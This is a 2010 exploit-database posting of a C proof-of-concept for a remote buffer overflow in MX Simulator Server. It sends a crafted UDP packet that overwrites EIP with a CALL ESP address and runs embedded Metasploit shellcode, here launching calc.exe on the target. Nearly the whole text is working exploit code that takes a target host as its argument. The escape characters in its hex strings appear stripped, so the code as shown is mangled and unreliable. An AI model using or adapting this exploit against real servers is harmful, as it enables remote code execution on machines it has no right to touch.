MX Simulator Server Remote Buffer Overflow PoC
Posted on 23 March 2010
============================================== MX Simulator Server Remote Buffer Overflow PoC ============================================== /* MX Simulator Server 2010-02-06 Remote Buffer Overflow PoC This PoC will executes the calc.exe software on the remote system. The bug was discovered by Luigi Auriemma (www.aluigi.org) Copyright 2010 Salvatore Fresta aka Drosophila http://www.salvatorefresta.net/?opt=adv http://www.salvatorefresta.net/files/poc/PoC-MXSimulatorServer2010-02-06.zip This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation,Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA http://www.gnu.org/licenses/gpl-2.0.txt */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #ifdef WIN32 #include <winsock.h> #include "winerr.h" #define close closesocket #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h> #endif #define BUFFSZ 1024 #define PORT 19800 /* * windows/exec - 511 bytes * http://www.metasploit.com * Encoder: x86/alpha_mixed * EXITFUNC=process, CMD=calc.exe */ #define shellcode "xb8x9exefxf3x90x31xc9xb1x33xd9xc2xd9x74x24xf4" "x5bx31x43x0ex83xc3x04x03xddxe5x11x65x1dx11x5c" "x86xddxe2x3fx0ex38xd3x6dx74x49x46xa2xfex1fx6b" "x49x52x8bxf8x3fx7bxbcx49xf5x5dxf3x4ax3bx62x5f" "x88x5dx1ex9dxddxbdx1fx6ex10xbfx58x92xdbxedx31" "xd9x4ex02x35x9fx52x23x99x94xebx5bx9cx6ax9fxd1" "x9fxbax30x6dxd7x22x3ax29xc8x53xefx29x34x1ax84" "x9axcex9dx4cxd3x2fxacxb0xb8x11x01x3dxc0x56xa5" "xdexb7xacxd6x63xc0x76xa5xbfx45x6bx0dx4bxfdx4f" "xacx98x98x04xa2x55xeex43xa6x68x23xf8xd2xe1xc2" "x2fx53xb1xe0xebx38x61x88xaaxe4xc4xb5xadx40xb8" "x13xa5x62xadx22xe4xe8x30xa6x92x55x32xb8x9cxf5" "x5bx89x17x9ax1cx16xf2xdfxd3x5cx5fx49x7cx39x35" "xc8xe1xbaxe3x0ex1cx39x06xeexdbx21x63xebxa0xe5" "x9fx81xb9x83x9fx36xb9x81xc3xd9x29x49x2ax7cxca" "xe8x32" int send_recv(int sd, unsigned char *in, int insz, unsigned char *out, int outsz, struct sockaddr_in *peer, int err); int timeout(int sock, int secs); unsigned int resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, len; unsigned short port = PORT; unsigned char buff[BUFFSZ], *host = NULL, pkg[] = "x03" "x00x00x00x00" // slot "x00x00x00x00" // session id "x00x00x00x00" // admin pwd crc "x00x00x00x00" // uid "000000000000000000000000" // ??? "yz250f|||| " // bike's model "999 " // bike's number "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "xd8x69x83x7c" // EIP - CALL ESP (FFD4) shellcode; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif if(argc < 2) { printf(" MX Simulator Server 2010-02-06 Remote Buffer Overflow PoC - Salvatore Fresta " "http://www.salvatorefresta.net " " " "Usage: %s <target host> <port> (default: %hu) " " ", argv[0], port); return -1; } host = argv[1]; if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(host); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf(" [*] Socket opening in progress..."); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) { printf(" [-] Unable to open a socket! "); std_err(); } printf(" [+] Socket open successfully" " [*] Data sending in progress..."); memset(buff, 0, 9); len = send_recv(sd, buff, 9, buff, BUFFSZ, &peer, 1); *(int *)(pkg + 1) = *(int *)(buff + 1); *(int *)(pkg + 5) = *(int *)(buff + 5); len = send_recv(sd, pkg, sizeof(pkg) - 1, buff, BUFFSZ, &peer, 0); printf(" [+] Data sent successfully" " [+] Connection closed "); close(sd); return 0; } int send_recv(int sd, unsigned char *in, int insz, unsigned char *out, int outsz, struct sockaddr_in *peer, int err) { int retry, len; if(in && !out) { fputc('.', stdout); if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in)) < 0) std_err(); return(0); } if(in) { for(retry = 2; retry; retry--) { fputc('.', stdout); if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in)) < 0) std_err(); if(!timeout(sd, 1)) break; } if(!retry) { if(!err) return(-1); printf(" Error: socket timeout, no reply received "); exit(1); } } else { if(timeout(sd, 3) < 0) return(-1); } fputc('.', stdout); len = recvfrom(sd, out, outsz, 0, NULL, NULL); if(len < 0 && err) std_err(); return len; } int timeout(int sock, int secs) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = secs; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return 0; } unsigned int resolv(char *host) { struct hostent *hp = NULL; unsigned int host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf(" Error: Unable to resolv hostname (%s) ", host); exit(1); } else host_ip = *(unsigned int *)hp->h_addr; } return host_ip; } #ifndef WIN32 void std_err(void) { perror(" Error"); exit(1); } #endif # Inj3ct0r.com [2010-03-23]
